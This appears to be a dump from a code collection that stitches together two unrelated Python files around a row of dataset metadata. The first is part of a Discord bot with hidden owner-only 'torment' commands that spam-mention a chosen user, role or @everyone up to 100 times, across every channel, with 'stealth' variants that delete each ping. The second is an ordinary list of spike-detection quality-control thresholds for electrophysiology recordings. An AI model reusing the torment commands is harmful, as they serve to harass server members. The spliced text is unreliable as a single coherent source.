await ctx.message.author.send('Delay must be an int.')
return
if delay < 1:
await ctx.message.author.send('Delay must be at least *1 second*.')
return
self.waitBetween = delay
if self.waitBetween == 1:
await ctx.message.author.send('Current torment delay is now *1 second.*')
else:
await ctx.message.author.send('Current torment delay is now *{} seconds.*'.format(self.waitBetween))
@commands.command(pass_context=True, hidden=True)
async def canceltorment(self, ctx):
"""Cancels tormenting if it's in progress - must be false when next torment attempt starts to work (owner only)."""
channel = ctx.message.channel
author = ctx.message.author
server = ctx.message.guild
# Only allow owner to change server stats
isOwner = self.settings.isOwner(ctx.author)
if isOwner == None:
return
elif isOwner == False:
return
if not self.toTorment:
await ctx.message.author.send('Not currently tormenting.')
return
# Cancel it!
self.toTorment = False
await ctx.message.author.send('Tormenting cancelled.')
@commands.command(pass_context=True, hidden=True)
async def torment(self, ctx, *, member = None, times : int = None):
"""Deals some vigilante justice (owner only)."""
channel = ctx.message.channel
author = ctx.message.author
server = ctx.message.guild
message = ctx.message
# Only allow owner to change server stats
isOwner = self.settings.isOwner(ctx.author)
if isOwner == None:
return
elif isOwner == False:
return
usage = 'Usage: `{}torment [role/member] [times]`'.format(ctx.prefix)
isRole = False
if member == None:
await ctx.channel.send(usage)
return
# Check for formatting issues
if times == None:
# Either xp wasn't set - or it's the last section
if type(member) is str:
# It' a string - the hope continues
roleCheck = DisplayName.checkRoleForInt(member, server)
if roleCheck and roleCheck["Role"]:
isRole = True
member = roleCheck["Role"]
times = roleCheck["Int"]
else:
# Role is invalid - check for member instead
nameCheck = DisplayName.checkNameForInt(member, server)
if not nameCheck:
await ctx.channel.send(usage)
return
if not nameCheck["Member"]:
msg = 'I couldn\'t find that user or role on the server.'.format(member)
await ctx.channel.send(msg)
return
member = nameCheck["Member"]
times = nameCheck["Int"]
# Set the torment flag
self.toTorment = True
if times == None:
# Still no times - roll back to default
times = 25
if times > 100:
times = 100
if times == 0:
await ctx.channel.send('Oooooh - I bet they feel *sooooo* tormented...')
return
if times < 0:
await ctx.channel.send('I just uh... *un-tormented* them. Yeah.')
return
# Delete original torment message
await message.delete()
for i in range(0, times):
# Do this over time
try:
if member.name == "@everyone" and type(member) is discord.Role:
await channel.send("{}".format(member.name))
else:
await channel.send('{}'.format(member.mention))
except Exception:
pass
for j in range(0, self.waitBetween):
# Wait for 1 second, then check if we should cancel - then wait some more
await asyncio.sleep(1)
if not self.toTorment:
return
@commands.command(pass_context=True, hidden=True)
async def stealthtorment(self, ctx, *, member = None, times : int = None):
"""Deals some sneaky vigilante justice (owner only)."""
channel = ctx.message.channel
author = ctx.message.author
server = ctx.message.guild
message = ctx.message
# Only allow owner
isOwner = self.settings.isOwner(ctx.author)
if isOwner == None:
return
elif isOwner == False:
return
usage = 'Usage: `{}torment [role/member] [times]`'.format(ctx.prefix)
isRole = False
if member == None:
await ctx.channel.send(usage)
return
# Check for formatting issues
if times == None:
# Either xp wasn't set - or it's the last section
if type(member) is str:
# It' a string - the hope continues
roleCheck = DisplayName.checkRoleForInt(member, server)
if roleCheck and roleCheck["Role"]:
isRole = True
member = roleCheck["Role"]
times = roleCheck["Int"]
else:
# Role is invalid - check for member instead
nameCheck = DisplayName.checkNameForInt(member, server)
if not nameCheck:
await ctx.channel.send(usage)
return
if not nameCheck["Member"]:
msg = 'I couldn\'t find that user or role on the server.'.format(member)
await ctx.channel.send(msg)
return
member = nameCheck["Member"]
times = nameCheck["Int"]
# Set the torment flag
self.toTorment = True
if times == None:
# Still no times - roll back to default
times = 25
if times > 100:
times = 100
if times == 0:
await ctx.channel.send('Oooooh - I bet they feel *sooooo* tormented...')
return
if times < 0:
await ctx.channel.send('I just uh... *un-tormented* them. Yeah.')
return
# Delete original torment message
await message.delete()
for i in range(0, times):
# Do this over time
try:
if member.name == "@everyone" and type(member) is discord.Role:
tmessage = await ctx.channel.send("{}".format(member.name))
else:
tmessage = await ctx.channel.send('{}'.format(member.mention))
await tmessage.delete()
except Exception:
pass
for j in range(0, self.waitBetween):
# Wait for 1 second, then check if we should cancel - then wait some more
await asyncio.sleep(1)
if not self.toTorment:
return
@commands.command(pass_context=True, hidden=True)
async def servertorment(self, ctx, *, member = None, times : int = None):
"""Deals some vigilante justice in all channels (owner only)."""
channel = ctx.message.channel
author = ctx.message.author
server = ctx.message.guild
message = ctx.message
# Only allow owner
isOwner = self.settings.isOwner(ctx.author)
if isOwner == None:
return
elif isOwner == False:
return
usage = 'Usage: `{}torment [role/member] [times]`'.format(ctx.prefix)
isRole = False
if member == None:
await ctx.channel.send(usage)
return
# Check for formatting issues
if times == None:
# Either xp wasn't set - or it's the last section
if type(member) is str:
# It' a string - the hope continues
roleCheck = DisplayName.checkRoleForInt(member, server)
if roleCheck and roleCheck["Role"]:
isRole = True
member = roleCheck["Role"]
times = roleCheck["Int"]
else:
# Role is invalid - check for member instead
nameCheck = DisplayName.checkNameForInt(member, server)
if not nameCheck:
await ctx.channel.send(usage)
return
if not nameCheck["Member"]:
msg = 'I couldn\'t find that user or role on the server.'.format(member)
await ctx.channel.send(msg)
return
member = nameCheck["Member"]
times = nameCheck["Int"]
# Set the torment flag
self.toTorment = True
if times == None:
# Still no times - roll back to default
times = 25
if times > 100:
times = 100
if times == 0:
await ctx.channel.send('Oooooh - I bet they feel *sooooo* tormented...')
return
if times < 0:
await ctx.channel.send('I just uh... *un-tormented* them. Yeah.')
return
# Delete original torment message
await message.delete()
for i in range(0, times):
# Do this over time
for channel in server.channels:
# Get user's permissions
if type(member) is discord.Role or channel.permissions_for(member).read_messages and type(channel) is discord.TextChannel:
# Only ping where they can read
try:
if member.name == "@everyone" and type(member) is discord.Role:
await channel.send("{}".format(member.name))
else:
await channel.send('{}'.format(member.mention))
except Exception:
pass
for j in range(0, self.waitBetween):
# Wait for 1 second, then check if we should cancel - then wait some more
await asyncio.sleep(1)
if not self.toTorment:
return
@commands.command(pass_context=True, hidden=True)
async def stealthservertorment(self, ctx, *, member = None, times : int = None):
"""Deals some sneaky vigilante justice in all channels (owner only)."""
channel = ctx.message.channel
author = ctx.message.author
server = ctx.message.guild
message = ctx.message
# Only allow owner
isOwner = self.settings.isOwner(ctx.author)
if isOwner == None:
return
elif isOwner == False:
return
usage = 'Usage: `{}torment [role/member] [times]`'.format(ctx.prefix)
isRole = False
if member == None:
await ctx.channel.send(usage)
return
# Check for formatting issues
if times == None:
# Either xp wasn't set - or it's the last section
if type(member) is str:
# It' a string - the hope continues
roleCheck = DisplayName.checkRoleForInt(member, server)
if roleCheck and roleCheck["Role"]:
isRole = True
member = roleCheck["Role"]
times = roleCheck["Int"]
else:
# Role is invalid - check for member instead
nameCheck = DisplayName.checkNameForInt(member, server)
if not nameCheck:
await ctx.channel.send(usage)
return
if not nameCheck["Member"]:
msg = 'I couldn\'t find that user or role on the server.'.format(member)
await ctx.channel.send(msg)
return
member = nameCheck["Member"]
times = nameCheck["Int"]
# Set the torment flag
self.toTorment = True
if times == None:
# Still no times - roll back to default
times = 25
if times > 100:
times = 100
if times == 0:
await ctx.channel.send('Oooooh - I bet they feel *sooooo* tormented...')
return
if times < 0:
await ctx.channel.send('I just uh... *un-tormented* them. Yeah.')
return
# Delete original torment message
await message.delete()
for i in range(0, times):
# Do this over time
for channel in server.channels:
# Get user's permissions
if type(member) is discord.Role or channel.permissions_for(member).read_messages and type(channel) is discord.TextChannel:
# Only ping where they can read
try:
if member.name == "@everyone" and type(member) is discord.Role:
tmessage = await channel.send("{}".format(member.name))
else:
tmessage = await channel.send('{}'.format(member.mention))
await tmessage.delete()
except Exception:
pass
for j in range(0, self.waitBetween):
# Wait for 1 second, then check if we should cancel - then wait some more
await asyncio.sleep(1)
if not self.toTorment:
return
| 29.24186
| 127
| 0.639733
| 1,639
| 12,574
| 4.898109
| 0.118365
| 0.037369
| 0.041106
| 0.052068
| 0.884903
| 0.878675
| 0.87855
| 0.877803
| 0.857872
| 0.839935
| 0
| 0.006747
| 0.257356
| 12,574
| 429
| 128
| 29.310023
| 0.852966
| 0.146016
| 0
| 0.878788
| 0
| 0.003367
| 0.097643
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.006734
| false
| 0.03367
| 0.020202
| 0
| 0.164983
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0ef673d7103944b3cc00e86bd1cfdd0ef20a1961
| 40,695
|
py
|
Python
|
loose_seal/filtersQC_vgat_kynac_ptx.py
|
opavon/PAG_ephys_analysis
|
a9a27ad359afacb497b14ff5698421b2816f38a2
|
[
"MIT"
] | null | null | null |
loose_seal/filtersQC_vgat_kynac_ptx.py
|
opavon/PAG_ephys_analysis
|
a9a27ad359afacb497b14ff5698421b2816f38a2
|
[
"MIT"
] | null | null | null |
loose_seal/filtersQC_vgat_kynac_ptx.py
|
opavon/PAG_ephys_analysis
|
a9a27ad359afacb497b14ff5698421b2816f38a2
|
[
"MIT"
] | null | null | null |
# Defaults
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
##### dlpag #####
# dlpag_vgat_190122_c1_LDIAA_OP_VC_clear_nointerval_2
# prominence (38-150), peak (-100-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4.8, QC_pw_max = 20,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = -25,
QC_lb_min = 7, QC_lb_max = float('inf'),
QC_rb_min = 5, QC_rb_max = float('inf')
)
# dlpag_vgat_200717_c4_LDIAL _OP_VC_clear_nointerval_1
# prominence (200-600), peak (-500-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_200717_c5_LDIAM_OP_VC_clear_nointerval_1
# prominence (150-400), peak (-350-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_200720_c9_LDIAS_OP_VC_clear_nointerval_1
# prominence (100-300), peak (-300-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_201105_c2_LDIBC_OP_VC_clear_nointerval_1
# prominence (90-200), peak (-200-50)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3, QC_pw_max = 6,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = 5, QC_lb_max = float('inf'),
QC_rb_min = 5, QC_rb_max = float('inf')
)
# dlpag_vgat_201105_c5_LDIBF_OP_VC_clear_nointerval_1
# prominence (100-200), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_201125_c5_LDIBM_OP_VC_clear_nointerval_2
# prominence (80-500), peak (NA)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_201126_c4_LDIBS_OP_VC_clear_nointerval_2
# prominence (125-200), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_201126_c4_LDIBS_OP_VC_clear_nointerval_3
# prominence (105-270), peak (-300-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3, QC_pw_max = 50,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = 5, QC_lb_max = float('inf'),
QC_rb_min = 5, QC_rb_max = 100
)
# dlpag_vgat_201201_c2_LDIBU_OP_VC_clear_nointerval_2
# prominence (50-200), peak (-100-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = 20,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_201201_c5_LDIBX_OP_VC_clear_nointerval_1
# prominence (70-200), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = 20,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_201202_c4_LDIBZ_OP_VC_clear_nointerval_1
# prominence (35-120), peak (-100-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 5, QC_pw_max = 10,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = -66, QC_pb_max = -25,
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_201202_c5_LDICA_OP_VC_clear_nointerval_1
# prominence (90-165), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3.5, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = 4.1, QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_201202_c7_LDICC_OP_VC_clear_nointerval_1
# prominence (125-280), peak (-300-100)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3, QC_pw_max = 25,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_201203_c5_LDICG_OP_VC_clear_nointerval_3
# prominence (100-200), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_201215_c3_LDICL_OP_VC_clear_nointerval_1
# prominence (65-160), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 6, QC_pw_max = 9,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dlpag_vgat_201215_c9_LDICR_OP_VC_clear_nointerval_1
# prominence (70-200), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 5, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = 120
)
##### dmpag #####
# dmpag_vgat_190123_c2_LDIAF_OP_VC_clear_nointerval_1
# prominence (105-200), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_200720_c7_LDIAQ_OP_VC_clear_nointerval_1
# prominence (40-300), peak (NA)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = 7,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_200720_c8_LDIAR_OP_VC_clear_nointerval_1
# prominence (60-150), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201102_c3_LDIAX_OP_VC_clear_nointerval_2
# prominence (140-500), peak (-350-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 5, QC_pw_max = 20,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = 5, QC_rb_max = 20
)
# dmpag_vgat_201102_c4_LDIAY_OP_VC_clear_nointerval_1
# prominence (50-125), peak (-85-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3, QC_pw_max = 10,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = 4, QC_lb_max = float('inf'),
QC_rb_min = 4, QC_rb_max = 80
)
# dmpag_vgat_201102_c7_LDIBA_OP_VC_clear_nointerval_2
# prominence (50-200), peak (-100-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = 10,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = -20,
QC_lb_min = 4, QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = 20
)
# dmpag_vgat_201105_c3_LDIBD_OP_VC_clear_nointerval_2
# prominence (40-150), peak (-100-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201105_c4_LDIBE_OP_VC_clear_nointerval_2
# prominence (60-150), peak (-150-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
